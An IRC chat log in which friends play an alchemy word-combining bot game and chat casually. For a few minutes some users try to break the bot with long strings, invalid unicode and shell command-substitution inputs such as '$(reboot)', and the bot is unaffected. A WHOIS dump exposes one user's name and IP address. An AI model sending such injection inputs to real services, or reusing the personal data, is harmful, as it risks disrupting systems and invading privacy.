[2014-12-29T19:09:30-0500] <alchemy> Not this time!
[2014-12-29T19:09:30-0500] <alokpathy> @hint
[2014-12-29T19:09:30-0500] <alchemy> Hint: It's possible to make google!
[2014-12-29T19:09:35-0500] <Tamini_> we know
[2014-12-29T19:09:35-0500] <alokpathy> Wow
[2014-12-29T19:09:36-0500] <alokpathy> Wow
[2014-12-29T19:09:40-0500] <alokpathy> Thanks a lot alchemy 
[2014-12-29T19:09:41-0500] <Tamini_> @list
[2014-12-29T19:09:41-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, lava, earth, air, cloud, mountain, neanderthal, hal, sentience, electricity, thunder, snow, ice, tornado
[2014-12-29T19:09:41-0500] <alchemy> You have: aaron, ent, sword, man, puddle, plant, fireman, fire, tree, tool, rain, water, evil, hole, penguin, stone, olaf, light, metal, robot
[2014-12-29T19:09:41-0500] <alchemy> You have: ocean, sandstorm, tsunami, wind, knight, lightning, sculpture, steam, rust
[2014-12-29T19:09:41-0500] <alchemy> That's 49 out of 102!
[2014-12-29T19:09:58-0500] <Tamini_> @combine google electricity
[2014-12-29T19:09:58-0500] <alchemy> google and electricity don't make anything exciting.
[2014-12-29T19:10:08-0500] <Tamini_> @combine google hole
[2014-12-29T19:10:08-0500] <alchemy> google and hole don't make anything exciting.
[2014-12-29T19:10:15-0500] <Tamini_> @combine earth wind
[2014-12-29T19:10:15-0500] <alchemy> You already combined earth and wind to get mountain.
[2014-12-29T19:10:21-0500] <Tamini_> @combine earth tsunami
[2014-12-29T19:10:21-0500] <alchemy> earth and tsunami don't make anything exciting.
[2014-12-29T19:10:28-0500] <alokpathy> @combine mountain neandertahl
[2014-12-29T19:10:28-0500] <alchemy> You don't have neandertahl!
[2014-12-29T19:10:30-0500] <alokpathy> @combine mountain neanderthal
[2014-12-29T19:10:30-0500] <alchemy> mountain and neanderthal don't make anything exciting.
[2014-12-29T19:10:36-0500] <alokpathy> @combine asdf mountain
[2014-12-29T19:10:36-0500] <alchemy> You don't have asdf!
[2014-12-29T19:10:41-0500] <Tamini_> @combine cave mountain
[2014-12-29T19:10:41-0500] <alchemy> You don't have cave!
[2014-12-29T19:10:49-0500] <Tamini_> @combine neanderthal fire
[2014-12-29T19:10:49-0500] <alchemy> neanderthal and fire don't make anything exciting.
[2014-12-29T19:10:54-0500] <Tamini_> @combine man google
[2014-12-29T19:10:54-0500] <alchemy> man and google don't make anything exciting.
[2014-12-29T19:11:00-0500] <Tamini_> @combine man computer
[2014-12-29T19:11:00-0500] <alchemy> man and computer don't make anything exciting.
[2014-12-29T19:11:04-0500] <alokpathy> @combine computer google
[2014-12-29T19:11:04-0500] <alchemy> computer and google don't make anything exciting.
[2014-12-29T19:11:12-0500] <alokpathy> @list
[2014-12-29T19:11:12-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, lava, earth, air, cloud, mountain, neanderthal, hal, sentience, electricity, thunder, snow, ice, tornado
[2014-12-29T19:11:12-0500] <alchemy> You have: aaron, ent, sword, man, puddle, plant, fireman, fire, tree, tool, rain, water, evil, hole, penguin, stone, olaf, light, metal, robot
[2014-12-29T19:11:12-0500] <alchemy> You have: ocean, sandstorm, tsunami, wind, knight, lightning, sculpture, steam, rust
[2014-12-29T19:11:12-0500] <alchemy> That's 49 out of 102!
[2014-12-29T19:11:17-0500] <alokpathy> @combine water cloud
[2014-12-29T19:11:17-0500] <alchemy> You already combined water and cloud to get rain.
[2014-12-29T19:11:21-0500] <alokpathy> @combine cloud rain
[2014-12-29T19:11:21-0500] <alchemy> cloud and rain don't make anything exciting.
[2014-12-29T19:11:21-0500] <Tamini_> @combine knight human
[2014-12-29T19:11:22-0500] <alchemy> You don't have human!
[2014-12-29T19:11:26-0500] <Tamini_> @combine knight sword
[2014-12-29T19:11:26-0500] <alchemy> knight and sword don't make anything exciting.
[2014-12-29T19:11:26-0500] <alokpathy> @combine knight man
[2014-12-29T19:11:26-0500] <alchemy> knight and man don't make anything exciting.
[2014-12-29T19:11:42-0500] <alokpathy> @combine robot sentience
[2014-12-29T19:11:42-0500] <alchemy> robot and sentience don't make anything exciting.
[2014-12-29T19:11:47-0500] <alokpathy> @combine energy google
[2014-12-29T19:11:47-0500] <alchemy> energy and google don't make anything exciting.
[2014-12-29T19:11:50-0500] <alokpathy> @combine energy lightning
[2014-12-29T19:11:50-0500] <alchemy> energy and lightning don't make anything exciting.
[2014-12-29T19:11:53-0500] <alokpathy> @combine energy light
[2014-12-29T19:11:53-0500] <alchemy> energy and light don't make anything exciting.
[2014-12-29T19:11:58-0500] <alokpathy> @combine energy thunder
[2014-12-29T19:11:58-0500] <alchemy> energy and thunder don't make anything exciting.
[2014-12-29T19:12:08-0500] <alokpathy> @combine penguin energy
[2014-12-29T19:12:08-0500] <alchemy> penguin and energy don't make anything exciting.
[2014-12-29T19:12:12-0500] <alokpathy> @combine cloud energy
[2014-12-29T19:12:12-0500] <alchemy> You already combined cloud and energy to get lightning.
[2014-12-29T19:12:17-0500] <alokpathy> @combine energy lightning
[2014-12-29T19:12:17-0500] <alchemy> energy and lightning don't make anything exciting.
[2014-12-29T19:12:22-0500] <alokpathy> @combine energy neanderthal
[2014-12-29T19:12:22-0500] <alchemy> energy and neanderthal don't make anything exciting.
[2014-12-29T19:12:26-0500] <alokpathy> this
[2014-12-29T19:12:27-0500] <alokpathy> game
[2014-12-29T19:12:42-0500] <failedxyz> LOL
[2014-12-29T19:12:44-0500] <alokpathy> Oh Tamini_ what have you done in NYC so far/
[2014-12-29T19:13:13-0500] <Tamini_> opera, musical, bought books, read books
[2014-12-29T19:13:33-0500] <Tamini_> well opera is going to happen really soon
[2014-12-29T19:13:36-0500] <Tamini_> this should be fun
[2014-12-29T19:13:49-0500] <failedxyz> some1 teach me 5chan pls
[2014-12-29T19:16:50-0500] <failedxyz> @combine a b
[2014-12-29T19:16:50-0500] <alchemy> You don't have a!
[2014-12-29T19:16:54-0500] <failedxyz> @combine shit
[2014-12-29T19:16:57-0500] <failedxyz> @combine shit other_shit
[2014-12-29T19:16:57-0500] <alchemy> You don't have shit!
[2014-12-29T19:17:00-0500] <failedxyz> D:
[2014-12-29T19:19:29-0500] <alokpathy> Wow alchemy 
[2014-12-29T19:19:30-0500] <alokpathy> so harsh
[2014-12-29T19:20:03-0500] <failedxyz> @combine posihioghwqhtvpoiwetpqoiwetpqowetpqwintpioqwvhnpoiqhwnepiotvhqniewohntpoiqvwheiotpqvhnewiopthnvpqowiehtnpqiewhntvpqoewihtnp other_shit
[2014-12-29T19:20:03-0500] <alchemy> You don't have posihioghwqhtvpoiwetpqoiwetpqowetpqwintpioqwvhnpoiqhwnepiotvhqniewohntpoiqvwheiotpqvhnewiopthnvpqowiehtnpqiewhntvpqoewihtnp!
[2014-12-29T19:20:12-0500] <failedxyz> @combine http://github.com other_shit
[2014-12-29T19:20:16-0500] <Tamini_> lol
[2014-12-29T19:20:19-0500] <Tamini_> @list
[2014-12-29T19:20:19-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, lava, earth, air, cloud, mountain, neanderthal, hal, sentience, electricity, thunder, snow, ice, tornado
[2014-12-29T19:20:19-0500] <alchemy> You have: aaron, ent, sword, man, puddle, plant, fireman, fire, tree, tool, rain, water, evil, hole, penguin, stone, olaf, light, metal, robot
[2014-12-29T19:20:19-0500] <alchemy> You have: ocean, sandstorm, tsunami, wind, knight, lightning, sculpture, steam, rust
[2014-12-29T19:20:19-0500] <alchemy> That's 49 out of 102!
[2014-12-29T19:20:27-0500] <Tamini_> michael dont get mad at the poor bot
[2014-12-29T19:20:34-0500] <alokpathy> @combine tsunami ocean
[2014-12-29T19:20:34-0500] <alchemy> tsunami and ocean don't make anything exciting.
[2014-12-29T19:20:37-0500] <alokpathy> @combine tsunami earth
[2014-12-29T19:20:37-0500] <alchemy> tsunami and earth don't make anything exciting.
[2014-12-29T19:20:48-0500] <failedxyz> @combine alokpathy Tamini
[2014-12-29T19:20:48-0500] <alchemy> You don't have alokpathy!
[2014-12-29T19:20:52-0500] <failedxyz> should make alokmini
[2014-12-29T19:22:30-0500] <Tamini_> @combine steam robot
[2014-12-29T19:22:30-0500] <alchemy> steam and robot don't make anything exciting.
[2014-12-29T19:22:49-0500] <Tamini_> yes alokmini should be an element
[2014-12-29T19:22:57-0500] <alokpathy> hardmath123: Make alokmini an element
[2014-12-29T19:22:58-0500] <Tamini_> @combine metal energy
[2014-12-29T19:22:58-0500] <alchemy> metal and energy don't make anything exciting.
[2014-12-29T19:23:05-0500] <alokpathy> @combine metal olaf
[2014-12-29T19:23:05-0500] <alchemy> metal and olaf don't make anything exciting.
[2014-12-29T19:23:13-0500] <alokpathy> @combine robot stone
[2014-12-29T19:23:13-0500] <alchemy> robot and stone don't make anything exciting.
[2014-12-29T19:23:18-0500] <alokpathy> @combine wind ent
[2014-12-29T19:23:18-0500] <alchemy> wind and ent don't make anything exciting.
[2014-12-29T19:23:25-0500] <Tamini_> @combine steam energy
[2014-12-29T19:23:25-0500] <alchemy> steam and energy don't make anything exciting.
[2014-12-29T19:23:28-0500] <alokpathy> Okay, so we tried everything that made sense.
[2014-12-29T19:23:35-0500] <alokpathy> So we have to do everything that doesn't make sense.
[2014-12-29T19:26:17-0500] <failedxyz> ok
[2014-12-29T19:26:27-0500] <failedxyz> @combine everything_that_doesnt_make_sense everything_that_makes_sense
[2014-12-29T19:26:27-0500] <alchemy> You don't have everything_that_doesnt_make_sense!
[2014-12-29T19:26:30-0500] <failedxyz> dang it
[2014-12-29T19:26:33-0500] <@awe> @combine çƒ∂å¡™£ ££¡£¢¡®
[2014-12-29T19:26:33-0500] <alchemy> You don't have çƒ∂å¡™£!
[2014-12-29T19:26:36-0500] <@awe> Aww.
[2014-12-29T19:26:38-0500] <@awe> I was hoping it'd break.
[2014-12-29T19:26:50-0500] <alokpathy> @combine aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[2014-12-29T19:26:54-0500] <alokpathy> @combine aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa b
[2014-12-29T19:26:54-0500] <alchemy> You don't have aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
[2014-12-29T19:26:56-0500] <@awe> No, guys.
[2014-12-29T19:27:06-0500] <@awe> It's about cleverly-crafted input, not long input.
[2014-12-29T19:27:12-0500] <alokpathy> @combine \x00
[2014-12-29T19:27:16-0500] <alokpathy> @combine \x00 \x90
[2014-12-29T19:27:16-0500] <alchemy> You don't have \x00!
[2014-12-29T19:27:46-0500] <alokpathy> @combine $(python -c 'print "\x00"') $(python -c 'print "\x90"')
[2014-12-29T19:27:52-0500] <@awe> lol.
[2014-12-29T19:27:57-0500] <alokpathy> @combine $ $
[2014-12-29T19:27:58-0500] <alchemy> You don't have $!
[2014-12-29T19:28:01-0500] <@awe> Wait.
[2014-12-29T19:28:09-0500] <@awe> @combine $(python)
[2014-12-29T19:28:14-0500] <@awe> @combine $(python) $(reboot)
[2014-12-29T19:28:15-0500] <alchemy> You don't have $(python)!
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[2014-12-29T19:30:57-0500] <@awe> @payload
[2014-12-29T19:30:57-0500] <awebot> @combine  ҉
[2014-12-29T19:30:57-0500] <alchemy> You don't have !
[2014-12-29T19:31:03-0500] <@awe> Wow.
[2014-12-29T19:31:07-0500] <@awe> Even that didn't break it?
[2014-12-29T19:31:18-0500] <@awe> @payload
[2014-12-29T19:31:18-0500] <awebot> @combine  ޙ
[2014-12-29T19:31:18-0500] <alchemy> You don't have !
[2014-12-29T19:31:33-0500] <@awe> @payload
[2014-12-29T19:31:33-0500] <awebot> @combine ޙ 
[2014-12-29T19:31:33-0500] <alchemy> You don't have ޙ!
[2014-12-29T19:33:19-0500] <@awe> @payload
[2014-12-29T19:33:19-0500] <awebot> @combine 񖑈 񖕵
[2014-12-29T19:33:19-0500] <alchemy> You don't have 񖑈!
[2014-12-29T19:33:22-0500] <@awe> I give up.
[2014-12-29T19:33:27-0500] <@awe> hardmath123: gg, well played
[2014-12-29T19:34:43-0500] <Hyper> idt string.split & dictionary lookups are particularly vulnerable to injections, lol
[2014-12-29T19:35:53-0500] <@awe> Hyper: I was hoping invalid unicode would cause it to crash.
[2014-12-29T19:38:28-0500] <alokpathy> @combine https://google.com airughe
[2014-12-29T19:38:31-0500] <alokpathy> @combine https://google.com airughe
[2014-12-29T19:38:43-0500] <alokpathy> Hm
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[2014-12-29T19:51:21-0500] <sdamashek> was I pinged?
[2014-12-29T19:51:46-0500] <alokpathy> Yeah, but it wasn't that important.
[2014-12-29T19:51:55-0500] <jwoglom> sdamashek: there was a users list posted
[2014-12-29T19:53:10-0500] <sdamashek> ah k
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[2014-12-29T19:58:19-0500] Topic is Pidgey is on GitHub: http://git.io/caK7Kg | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2014-12-29T19:58:19-0500] Set by awe on December 26, 2014 at 2:26:46 PM EST
[2014-12-29T19:35:53-0500] <@awe> Hyper: I was hoping invalid unicode would cause it to crash.
[2014-12-29T19:38:28-0500] <alokpathy> @combine https://google.com airughe
[2014-12-29T19:38:31-0500] <alokpathy> @combine https://google.com airughe
[2014-12-29T19:38:42-0500] <alokpathy> Hm
[2014-12-29T19:51:21-0500] <sdamashek> was I pinged?
[2014-12-29T19:51:46-0500] <alokpathy> Yeah, but it wasn't that important.
[2014-12-29T19:51:54-0500] <jwoglom> sdamashek: there was a users list posted
[2014-12-29T19:53:09-0500] <sdamashek> ah k
[2014-12-29T19:58:19-0500] Mode is +ns
[2014-12-29T20:00:38-0500] <nezorg> that command should be banned
[2014-12-29T20:18:09-0500] <Tamini_> which one?
[2014-12-29T20:18:11-0500] <Tamini_> users?
[2014-12-29T20:18:28-0500] <Tamini_> (also opera update: the act 1 of this is way more boring than expected)
[2014-12-29T20:19:06-0500] <alokpathy> It's a good command in case we need to convene in a time of crisis.
[2014-12-29T20:19:24-0500] <Tamini_> lol
[2014-12-29T20:19:25-0500] <Tamini_> yes
[2014-12-29T20:19:30-0500] <Tamini_> zombie apocalypse
[2014-12-29T20:19:38-0500] <Tamini_> also were you guys trying to break alchemy
[2014-12-29T20:19:41-0500] <Tamini_> thats mot nice :(
[2014-12-29T20:21:02-0500] <alokpathy> Jacob started it :|
[2014-12-29T20:22:07-0500] <Tamini_> you started trying to overflow it, lol
[2014-12-29T20:22:13-0500] <Tamini_> also jacob isnt even hete
[2014-12-29T20:22:14-0500] <Tamini_> here*
[2014-12-29T20:23:39-0500] <alokpathy> But he broke it with cheater-bot
[2014-12-29T20:24:05-0500] <@awe> nezorg: Why?
[2014-12-29T20:24:30-0500] <nezorg> ...why what?
[2014-12-29T20:25:17-0500] <@awe> [20:00:38]  <nezorg>	that command should be banned
[2014-12-29T20:25:32-0500] <ubuntor> because mass pinging
[2014-12-29T20:25:41-0500] <nezorg> yeah
[2014-12-29T20:27:00-0500] <@awe> So, what should be the penalty for using it?
[2014-12-29T20:27:34-0500] <Tamini_> also what if its in the middle of a zombie apocalypse
[2014-12-29T20:27:46-0500] <Tamini_> and we're trying to organize ourselves?
[2014-12-29T20:31:40-0500] <@awe> Well, I'll take this opportunity to implement plugin unloading in awebot.
[2014-12-29T20:35:39-0500] <jwoglom> At the very least just rename it to @massping
[2014-12-29T20:36:26-0500] <@awe> Wait a minute.
[2014-12-29T20:36:34-0500] <@awe> Apparently, unloading should just work.
[2014-12-29T20:36:34-0500] <@awe> lol
[2014-12-29T20:36:43-0500] <@awe> Well, sort of.
[2014-12-29T20:36:50-0500] <@awe> Technically, it won't delete it from memory.
[2014-12-29T20:36:51-0500] <@awe> But still.
[2014-12-29T20:37:07-0500] <@awe> @users
[2014-12-29T20:37:08-0500] <@awe> See.
[2014-12-29T20:37:11-0500] <@awe> It just works.
[2014-12-29T20:45:14-0500] <+hardmath123> man
[2014-12-29T20:45:22-0500] <+hardmath123> @status
[2014-12-29T20:45:22-0500] <alchemy> Alive and happy. Thanks for asking.
[2014-12-29T20:45:29-0500] <+hardmath123> i'm impressed alchemy's alive
[2014-12-29T20:45:31-0500] <+hardmath123> <3
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[2014-12-29T21:11:48-0500] <ubuntor> wonder if you can insert an nbsp in usernames to prevent pinging
[2014-12-29T21:13:36-0500] <+hardmath123> nbsp? that's an html thing
[2014-12-29T21:13:43-0500] <+hardmath123> what you want is the mongolian vowel separator
[2014-12-29T21:17:25-0500] <ubuntor> oh whoops, zws
[2014-12-29T21:17:48-0500] <ubuntor> *zwsp
[2014-12-29T21:29:51-0500] <@awe> lol
[2014-12-29T21:29:55-0500] <@awe> mongolian vowel separator?
[2014-12-29T21:30:02-0500] <@awe> Anyway, no, you can't.
[2014-12-29T21:30:15-0500] <@awe> Nicknames have to be ASCII.
[2014-12-29T21:34:30-0500] <Tamini_> @hint
[2014-12-29T21:34:30-0500] <alchemy> Hint: It's possible to make light!
[2014-12-29T21:34:49-0500] <Tamini_> hardmath123: you should make it so hints dont tell us something we already know
[2014-12-29T21:36:31-0500] <@awe> @hint
[2014-12-29T21:36:31-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-29T21:36:34-0500] <@awe> @hint
[2014-12-29T21:36:34-0500] <alchemy> Not this time!
[2014-12-29T21:36:40-0500] <@awe> lol.
[2014-12-29T21:37:19-0500] <Tamini_> lol
[2014-12-29T21:37:34-0500] <Tamini_> also act 2 intermission review: everything is shiny
[2014-12-29T21:37:44-0500] <+hardmath123> though interestingly, {} and [] are considered the same (supposedly because of IRC's scandinavian origin)
[2014-12-29T21:42:29-0500] <@awe> Sort of.
[2014-12-29T21:42:32-0500] <@awe> It's not actually true though.
[2014-12-29T21:42:58-0500] <@awe> In the spec, they claim that {} should be treated as the upper-case of [].
[2014-12-29T21:43:07-0500] <@awe> That being said, I don't know of a single IRCd that does it.
[2014-12-29T21:43:17-0500] <@awe> hardmath123: change your nick to []
[2014-12-29T21:43:18-0500] You're now known as {}
[2014-12-29T21:43:22-0500] <@{}> hardmath123: it'll let oyu.
[2014-12-29T21:43:23-0500] <@{}> you*
[2014-12-29T21:43:35-0500] <@{}> hardmath123: which it shouldn't if it treated them as different cases of the same character.
[2014-12-29T21:44:14-0500] <alokpathy> It's saying [] is already in use.
[2014-12-29T21:44:27-0500] <@{}> Really?
[2014-12-29T21:44:30-0500] <alokpathy> Yeah.
[2014-12-29T21:44:32-0500] <@{}> .-.
[2014-12-29T21:44:36-0500] <@{}> InspIRCd apparently does.
[2014-12-29T21:44:40-0500] <@{}> Unreal doesn't.
[2014-12-29T21:44:42-0500] <@{}> Okay then.
[2014-12-29T21:44:45-0500] You're now known as awe
[2014-12-29T21:45:18-0500] <Tamini_> weird
[2014-12-29T21:45:36-0500] <@awe> I mean, it makes sense.
[2014-12-29T21:45:43-0500] <@awe> They're the same key on a US keyboard too.
[2014-12-29T21:54:49-0500] <Tamini_> oh yea
[2014-12-29T22:16:50-0500] <alokpathy> @list
[2014-12-29T22:16:50-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, ice, earth, ocean, cloud, mountain, neanderthal, hal, sentience, electricity, thunder, snow, lava, fire
[2014-12-29T22:16:50-0500] <alchemy> You have: aaron, ent, sword, penguin, puddle, plant, fireman, tornado, tool, metal, rain, water, evil, hole, man, stone, olaf, light, tree, robot
[2014-12-29T22:16:50-0500] <alchemy> You have: air, sandstorm, tsunami, rust, knight, lightning, sculpture, steam, wind
[2014-12-29T22:16:50-0500] <alchemy> That's 49 out of 103!
[2014-12-29T22:17:13-0500] <alokpathy> @combine google knight
[2014-12-29T22:17:13-0500] <alchemy> google and knight don't make anything exciting.
[2014-12-29T22:17:18-0500] <alokpathy> @combine air wind
[2014-12-29T22:17:18-0500] <alchemy> air and wind don't make anything exciting.
[2014-12-29T22:17:23-0500] <alokpathy> @combine air energy
[2014-12-29T22:17:23-0500] <alchemy> You already combined air and energy to get wind.
[2014-12-29T22:17:30-0500] <alokpathy> @combine air mountain
[2014-12-29T22:17:31-0500] <alchemy> air and mountain don't make anything exciting.
[2014-12-29T22:17:59-0500] <alokpathy> @combine wind energy
[2014-12-29T22:18:00-0500] <alchemy> wind and energy don't make anything exciting.
[2014-12-29T22:18:05-0500] <alokpathy> @combine wind sentience
[2014-12-29T22:18:05-0500] <alchemy> wind and sentience don't make anything exciting.
[2014-12-29T22:18:13-0500] <alokpathy> @combine sentience sentience
[2014-12-29T22:18:13-0500] <alchemy> sentience and sentience don't make anything exciting.
[2014-12-29T22:18:17-0500] <alokpathy> @combine sentience tree
[2014-12-29T22:18:17-0500] <alchemy> sentience and tree don't make anything exciting.
[2014-12-29T22:18:23-0500] <alokpathy> @combine sentience aaron
[2014-12-29T22:18:24-0500] <alchemy> sentience and aaron don't make anything exciting.
[2014-12-29T22:18:30-0500] <alokpathy> @combine sentience wind
[2014-12-29T22:18:30-0500] <alchemy> sentience and wind don't make anything exciting.
[2014-12-29T22:31:01-0500] Tamini_ has userhost uid33458@pdgn-vvu.9lf.7cuf9e.IP and real name "Ash"
[2014-12-29T22:31:02-0500] Tamini_ is connecting from uid33458@highgate.irccloud.com 192.184.9.108
[2014-12-29T22:31:02-0500] Tamini_ is on #nezorg-fanclub #pdgn #pdgn-revolt #LBT-hateclub #realstudy #math #pdgn-revoIt #study 
[2014-12-29T22:31:02-0500] Tamini_ is connected on irc.pdgn.co (Pidgeon Company)
[2014-12-29T22:31:02-0500] Tamini_ is away (Auto-away)
[2014-12-29T22:31:02-0500] Tamini_ is using modes +x
[2014-12-29T22:31:02-0500] Tamini_ is using a secure connection
[2014-12-29T22:31:02-0500] Tamini_ signed on at December 29, 2014 at 11:44:51 AM EST and has been idle for 36 minutes, 13 seconds
[2014-12-29T23:06:27-0500] <+hardmath123> @list
[2014-12-29T23:06:27-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, ice, earth, ocean, cloud, mountain, neanderthal, hal, sentience, electricity, thunder, snow, lava, fire
[2014-12-29T23:06:27-0500] <alchemy> You have: aaron, ent, sword, penguin, puddle, plant, fireman, tornado, tool, metal, rain, water, evil, hole, man, stone, olaf, light, tree, robot
[2014-12-29T23:06:27-0500] <alchemy> You have: air, sandstorm, tsunami, rust, knight, lightning, sculpture, steam, wind
[2014-12-29T23:06:27-0500] <alchemy> That's 49 out of 103!
[2014-12-29T23:07:11-0500] <alokpathy> @combine tornado plant
[2014-12-29T23:07:11-0500] <alchemy> tornado and plant don't make anything exciting.
[2014-12-29T23:07:42-0500] <+hardmath123> sorry i vanished
[2014-12-29T23:07:49-0500] <+hardmath123> we were out not buying a coffee machine
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[2014-12-29T23:09:36-0500] <alokpathy> wat
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[2014-12-29T23:09:44-0500] <alokpathy> @list
[2014-12-29T23:09:45-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, ice, earth, ocean, cloud, mountain, neanderthal, hal, sentience, electricity, thunder, snow, lava, fire
[2014-12-29T23:09:45-0500] <alchemy> You have: aaron, ent, sword, penguin, puddle, plant, fireman, tornado, tool, metal, rain, water, evil, hole, man, stone, olaf, light, tree, robot
[2014-12-29T23:09:45-0500] <alchemy> You have: air, sandstorm, tsunami, rust, knight, lightning, sculpture, steam, wind
[2014-12-29T23:09:45-0500] <alchemy> That's 49 out of 103!
[2014-12-29T23:09:51-0500] <alokpathy> @combine penguin man
[2014-12-29T23:09:51-0500] <alchemy> penguin and man don't make anything exciting.
[2014-12-29T23:09:55-0500] <alokpathy> @combine penguin ocean
[2014-12-29T23:09:55-0500] <alchemy> penguin and ocean don't make anything exciting.
[2014-12-29T23:10:04-0500] <alokpathy> @combine penguin google
[2014-12-29T23:10:05-0500] <alchemy> penguin and google don't make anything exciting.
[2014-12-29T23:10:11-0500] <+hardmath123> (I killing the server so I put in a "sleep".)
[2014-12-29T23:10:14-0500] <alokpathy> @combine computer penguin
[2014-12-29T23:10:14-0500] <alchemy> computer and penguin don't make anything exciting.
[2014-12-29T23:10:16-0500] <+hardmath123> (Now I'm killing the server less.)
[2014-12-29T23:10:23-0500] <alokpathy> lol
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[2014-12-29T23:20:49-0500] <+hardmath123> @status
[2014-12-29T23:20:49-0500] <alchemy> Alive and happy. Thanks for asking.
[2014-12-29T23:21:08-0500] <+hardmath123> awkward I actually made it worse and hogged 50% CPU...
[2014-12-29T23:21:28-0500] <alokpathy> oops
[2014-12-29T23:21:46-0500] <+hardmath123> groot
[2014-12-29T23:21:52-0500] <+hardmath123> i'm oging to kill both groot-bots
[2014-12-29T23:21:58-0500] <+hardmath123> because jacob forgot about them
[2014-12-29T23:22:07-0500] <+hardmath123> and they're literally consuming 60% of our cpu
[2014-12-29T23:22:43-0500] <+hardmath123> ok
[2014-12-29T23:25:26-0500] <@awe> h
[2014-12-29T23:25:33-0500] <@awe> @keybase awe
[2014-12-29T23:25:34-0500] <awebot> awe: Keybase: awe Twitter: aatxe GitHub: aatxe Reddit: aaronweiss74 Coinbase: coinbase/awe Website: deviant-core.net Website: pdgn.co Website: aaronweiss.us
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[2014-12-29T23:28:23-0500] Pidgey sets mode +v JacobEdelman
[2014-12-29T23:28:47-0500] <+JacobEdelman> hello
[2014-12-29T23:28:53-0500] <+JacobEdelman> I have rearrived
[2014-12-29T23:29:01-0500] <alokpathy> Hi
[2014-12-29T23:29:16-0500] <+hardmath123> JacobEdelman: I killed your rogue groot-bots. They were eating 60% of our CPU. :P
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[2014-12-29T23:29:45-0500] <@awe> hardmath123: python
[2014-12-29T23:29:54-0500] <+hardmath123> while True
[2014-12-29T23:30:02-0500] <+hardmath123> 'nuff said
[2014-12-29T23:30:31-0500] <+JacobEdelman> what about python?
[2014-12-29T23:30:34-0500] <+JacobEdelman> oh
[2014-12-29T23:30:35-0500] <+JacobEdelman> I see
[2014-12-29T23:30:47-0500] <+JacobEdelman> it was using that much?
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[2014-12-29T23:30:53-0500] <+JacobEdelman> its your code hardmath123
[2014-12-29T23:30:54-0500] <@awe> @keybase
[2014-12-29T23:30:56-0500] <+JacobEdelman> not mine
[2014-12-29T23:31:00-0500] <@awe> @keybase awe
[2014-12-29T23:31:01-0500] <awebot> awe: Keybase: awe Twitter: aatxe GitHub: aatxe Reddit: aaronweiss74 Coinbase: coinbase/awe Website: deviant-core.net Website: pdgn.co Website: aaronweiss.us
[2014-12-29T23:31:16-0500] <+JacobEdelman> I just replaced a tiny bit
[2014-12-29T23:31:36-0500] <@awe> @keybase awe
[2014-12-29T23:31:36-0500] <awebot> awe: Keybase: awe Twitter: aatxe GitHub: aatxe Reddit: aaronweiss74 Coinbase: coinbase/awe Website: deviant-core.net Website: pdgn.co Website: aaronweiss.us
[2014-12-29T23:31:58-0500] <@awe> hmm
[2014-12-29T23:32:25-0500] <@awe> @keybase awe key
[2014-12-29T23:32:25-0500] <awebot> awe: awe's fingerprint is a943ba9f204c61be.
[2014-12-29T23:32:28-0500] <+hardmath123> JacobEdelman: i know.
[2014-12-29T23:32:36-0500] <+hardmath123> JacobEdelman: i never claimed to have written good code :)
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[2014-12-29T23:33:10-0500] <@awe> @keybase awe key
[2014-12-29T23:33:11-0500] <awebot> awe: awe's finger is a943ba9f204c61be.
[2014-12-29T23:33:23-0500] <@awe> @keybase awe key
[2014-12-29T23:33:24-0500] <awebot> awe: awe's finger is a943ba9f204c61be.
[2014-12-29T23:33:26-0500] <@awe> Nope.
[2014-12-29T23:34:51-0500] <+hardmath123> awe's finger?
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[2014-12-29T23:35:09-0500] <@awe> It was a bogus change to test some changes to dynamic lib stuf.
[2014-12-29T23:35:10-0500] <@awe> stuff(
[2014-12-29T23:35:13-0500] <@awe> ***
[2014-12-29T23:35:18-0500] <@awe> It's not working though.
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[2014-12-29T23:40:14-0500] Topic is Pidgey is on GitHub: http://git.io/caK7Kg | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2014-12-29T23:40:14-0500] Set by awe on December 26, 2014 at 2:26:46 PM EST
[2014-12-29T23:35:18-0500] <@awe> It's not working though.
[2014-12-29T23:40:14-0500] Mode is +ns
[2014-12-30T00:26:41-0500] <@awe> For having a number of dynamic libraries loaded into memory, awebot is very low memory usage.
[2014-12-30T00:26:43-0500] <@awe> only 5 MB.
[2014-12-30T00:26:46-0500] <@awe> well, 4.7
[2014-12-30T00:28:09-0500] <@awe> The folder of plugins themselves is 29M.
[2014-12-30T00:33:46-0500] <nezorg> why would dynamic libraries take a lot of memory?
[2014-12-30T00:35:24-0500] <@awe> Because the library does weird things and nobody upstream ever touches it.
[2014-12-30T00:36:06-0500] <nezorg> last I looked it was a thin wrapper around dlopen
